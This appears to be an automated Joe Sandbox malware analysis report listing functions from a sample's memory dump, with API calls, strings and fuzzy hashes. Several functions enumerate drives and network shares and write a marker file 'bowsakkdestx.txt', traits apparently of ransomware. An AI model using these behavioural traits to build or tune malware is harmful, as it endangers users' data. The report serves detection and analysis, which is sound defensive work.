Opcode Fuzzy Hash: 0d590d916f5c114f106fe0131c3e2dc6a01ec2e6a31753d64c731e4efce0bb24
Instruction Fuzzy Hash: 83218B72604391BBE63059265C09FBB779ADFC6798F050514FF50A72C2DA2AED0542A1

Function 0078C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0078C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0078C539

Strings

bowsakkdestx.txt, xrefs: 0078C52D

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ff8a0891a31b844affa6e2560a3fa3c549b571e32bed3a4bb7710bae4d8418f4
Instruction ID: 83d9cb492b49048d09e16fc893de0cd97cc616225749909e662603a2bb5d8f13
Opcode Fuzzy Hash: ff8a0891a31b844affa6e2560a3fa3c549b571e32bed3a4bb7710bae4d8418f4
Instruction Fuzzy Hash: 92110AB7A8132472DD3075696C4BFEB735C9B87721F0001A2FE0CD2182A97E995542E1

Function 0079BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0079BAAD
ShowWindow.USER32(00000000,00000000), ref: 0079BABE
UpdateWindow.USER32(00000000), ref: 0079BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0079BAA0
LPCWSTRszTitle, xrefs: 0079BA9B

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: fe8dba150febb5117723ce35960e03177df5fd7fa51aa2bd436d36ad42874ada
Instruction ID: fecee8840ecfd4ecd80da4100d11e5446d6f47e9f2a1d27db1d866e8706e6879
Opcode Fuzzy Hash: fe8dba150febb5117723ce35960e03177df5fd7fa51aa2bd436d36ad42874ada
Instruction Fuzzy Hash: 37E04F3578272077E2716B147C0BF966618F702F11F30801AFA10B93D0C7E569428B9C

Function 00790BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00790C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00790C39
_memset.LIBCMT ref: 00790C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00790C63

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 460ebc32e5e990ee5405867be362dfb91974c0762064f03a3d08d426be0662a9
Instruction ID: 2beb8029b3743a09246fb35a0212a994f150e7e59c2b8f9eb2755dacdd57bd82
Opcode Fuzzy Hash: 460ebc32e5e990ee5405867be362dfb91974c0762064f03a3d08d426be0662a9
Instruction Fuzzy Hash: D691FF75618341CFDB28DF68E885B6BB7E1FF84704F14891DF48A87281E778A940CB92

Function 007C16EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 007C1726
_strlen.LIBCMT ref: 007C1734

Part of subcall function 007A5208: __getptd_noexit.LIBCMT ref: 007A5208

_strnlen.LIBCMT ref: 007C17BF
__lock.LIBCMT ref: 007C17D0
__getenv_helper_nolock.LIBCMT ref: 007C17DB

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 1d5a1504342cfe418984dc5ea3b8eccbe820efaafa0ba249bc414d6e4be4a703
Instruction ID: 45d28ca16d5bc183daac9bc7130d08b907c890f30f378c9fbb8bfb2b81e1f6af
Opcode Fuzzy Hash: 1d5a1504342cfe418984dc5ea3b8eccbe820efaafa0ba249bc414d6e4be4a703
Instruction Fuzzy Hash: 2431C532A05215EADB216BA89C05F9F6794AF87B20F54023DF814DB283DF7DC81087A1

Function 00790A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00790A75
SetErrorMode.KERNEL32(00000001,00880234,00000002), ref: 00790AE2
PathFileExistsA.SHLWAPI(?), ref: 00790AF9
SetErrorMode.KERNEL32(00000000), ref: 00790B02
GetDriveTypeA.KERNEL32(?), ref: 00790B1B

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 0bd8f26553526f0a9f02cdafc5b37f1d3f5d734f765f7ff3dc59f323a04489a8
Instruction ID: db920989229ac390c04694f837df40166926731873e93bb1c2e514fa77ef4c8f
Opcode Fuzzy Hash: 0bd8f26553526f0a9f02cdafc5b37f1d3f5d734f765f7ff3dc59f323a04489a8
Instruction Fuzzy Hash: E6410171108340DFCB10DF68D899B0BBBE5FB95718F400A2CF495962A2D7B9C604CB93

Function 007BB6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 007BB70B

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(005C0000,00000000,00000001,?,?,?,?,007A3B69,?), ref: 007A0CA5

_free.LIBCMT ref: 007BB71E

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: f46b7e40d4154f64754764e10356b0d19c4212cf1cd5280641ac7ebec179ec7e
Instruction ID: 39ab43da680888bffa3a42241c626addf10ca3008b4160665a2251993a09699b
Opcode Fuzzy Hash: f46b7e40d4154f64754764e10356b0d19c4212cf1cd5280641ac7ebec179ec7e
Instruction Fuzzy Hash: 7C119172505615EFCB212B75AC48BAA3A98BF86364B10072BFC589A191DFBC98408790

Function 0079F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0079F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079F0AC
DispatchMessageW.USER32(?), ref: 0079F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0079F0D2

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: abd7aec7770eff35230c65e44968b73bac188dc8683b6f1bb142357eb123681b
Instruction ID: bace8dd6ededef3bf702a7ff2bf7c6edc397021a891b827d54a8135329ef60c2
Opcode Fuzzy Hash: abd7aec7770eff35230c65e44968b73bac188dc8683b6f1bb142357eb123681b
Instruction Fuzzy Hash: AE01D635A4130877EB30AF94EC4AF967B6CFB44B05F144012FA00EB1D1D7B5A905CBA4

Function 0079E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0079E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079E53C
DispatchMessageW.USER32(?), ref: 0079E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0079E562

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 0ccca9d04f61b3392de48b8810cd241f596d30e8c4507f306971b595b347d4e1
Instruction ID: 9b78a51d06b716718a114c9e090800492490a6984a291417e48ed80ff44b7384
Opcode Fuzzy Hash: 0ccca9d04f61b3392de48b8810cd241f596d30e8c4507f306971b595b347d4e1
Instruction Fuzzy Hash: F101AE35741319B7EB20EF94EC46F967B6CF744B04F144011FA00AB1D1D6F5A915C794

Function 0079FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0079FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079FA71
DispatchMessageW.USER32(?), ref: 0079FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0079FA94

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 3eb8aab650f80dce75be5a72027f43ded9c13353ee1c19a1522c4f19baab812d
Instruction ID: 2ec320f13279b465a30854c50d4c8eb0e62eb53cca54db5d09feb6990e3738de
Opcode Fuzzy Hash: 3eb8aab650f80dce75be5a72027f43ded9c13353ee1c19a1522c4f19baab812d
Instruction Fuzzy Hash: F8018631B41309B7EF209F54DC4AFA67BACEB45B00F548061FA04EE1D1D7E5A805C6A0

Function 0079FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0079FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079FE21
DispatchMessageW.USER32(?), ref: 0079FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0079FE44

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 3eb8aab650f80dce75be5a72027f43ded9c13353ee1c19a1522c4f19baab812d
Instruction ID: 44eace15d3e9ac270b72ee5b37dbdd3eaedac0dd8f31b410616b4a1cc1fbf6dc
Opcode Fuzzy Hash: 3eb8aab650f80dce75be5a72027f43ded9c13353ee1c19a1522c4f19baab812d
Instruction Fuzzy Hash: 67018631B41308B7EF205F55EC4AF967BACEB45B00F144061FA00EE1D1D7F5A805C6A0

Function 00797BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00797C6A
_memmove.LIBCMT ref: 00797CD4

Strings

string too long, xrefs: 00797D36
invalid string position, xrefs: 00797D2C

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 2de14c80073472a79b77be6ca9db16991aa6c06e45c4055e72b2ef814a1441e8
Instruction ID: 4bc331d0b24d60bc07fd6332323b48f9e7acb272d92b358ca70a58f97118cdc4
Opcode Fuzzy Hash: 2de14c80073472a79b77be6ca9db16991aa6c06e45c4055e72b2ef814a1441e8
Instruction Fuzzy Hash: 2851A2717281049BDF2CCE1CEC85A6A77AAEF85710B24892DF855CB342DA39DD50CBA4

Function 00794160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 007941E4
_memmove.LIBCMT ref: 00794215

Strings

string too long, xrefs: 00794256
invalid string position, xrefs: 00794260

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: dc9369fa5bd62ca260136c306e596634fbd038599183ca543dcce261b99845b3
Instruction ID: d8563abe8c1ff5d43a0ae71daf6c63c29909f33c9816b1927113ce53a6344d26
Opcode Fuzzy Hash: dc9369fa5bd62ca260136c306e596634fbd038599183ca543dcce261b99845b3
Instruction Fuzzy Hash: 3F31A5313006049BDF28DF58E885D2A77B6FB817147604A1CF865CB786D739ED428B94

Function 007DAD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 007DAD72
_memset.LIBCMT ref: 007DAE15

Strings

C7~, xrefs: 007DAD51, 007DAD56, 007DAD69, 007DAE0B, 007DAE14
.\crypto\buffer\buffer.c, xrefs: 007DAD8B, 007DADBE, 007DADD0, 007DADE7

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7~
API String ID: 2102423945-1342470082
Opcode ID: d36840f188d6c70aaef27e749ca75731038f99bc3646b11e0d769e1baaf7e507
Instruction ID: 44c960e3f199a6d66ba879ab782d6fa5eadc5fb3a1c44419981d50b2f762b4be
Opcode Fuzzy Hash: d36840f188d6c70aaef27e749ca75731038f99bc3646b11e0d769e1baaf7e507
Instruction Fuzzy Hash: AB2107B6B443217BE204666CFC82B16B3A9FB94B14F048126F618D73C5E2B8BC10C6D5

Function 0078C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0078C5DA
UuidToStringA.RPCRT4(?,?), ref: 0078C5F6
RpcStringFreeA.RPCRT4(?), ref: 0078C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0078C687

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 495725a50fd96727a382b2360a5a007122bb9a050c09b0ffe1183e7759d1775e
Instruction ID: 41227876839c7bc897ccfd8c93188d1bfd395efebe30f2a45e0fff3b34cb30a7
Opcode Fuzzy Hash: 495725a50fd96727a382b2360a5a007122bb9a050c09b0ffe1183e7759d1775e
Instruction Fuzzy Hash: BB21F975208301ABD721EF28D808B5BBBE8FF81754F004A6EF48983291E779D508C7A3

Function 0078C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0078C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0078C4A9

Strings

bowsakkdestx.txt, xrefs: 0078C49D

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 0ade0d7144d3bc430a3954f14bd1cc36c4432fff76d06aaa405cb4937fff55c9
Instruction ID: 5d0b363c205c45eb092652cad2ed15353426ca8d7b3dc34e8d0891627744546d
Opcode Fuzzy Hash: 0ade0d7144d3bc430a3954f14bd1cc36c4432fff76d06aaa405cb4937fff55c9
Instruction Fuzzy Hash: 9C012B7268022833D9307A586C4AFEB775CDB52721F0001A6FE08D6141E6B9858686E1

Function 007A495E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007A5007: __getptd_noexit.LIBCMT ref: 007A5008
Part of subcall function 007A5007: __amsg_exit.LIBCMT ref: 007A5015

__amsg_exit.LIBCMT ref: 007A498F
__lock.LIBCMT ref: 007A499F
_free.LIBCMT ref: 007A49CC

Strings

(V^, xrefs: 007A49D2, 007A49DA

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
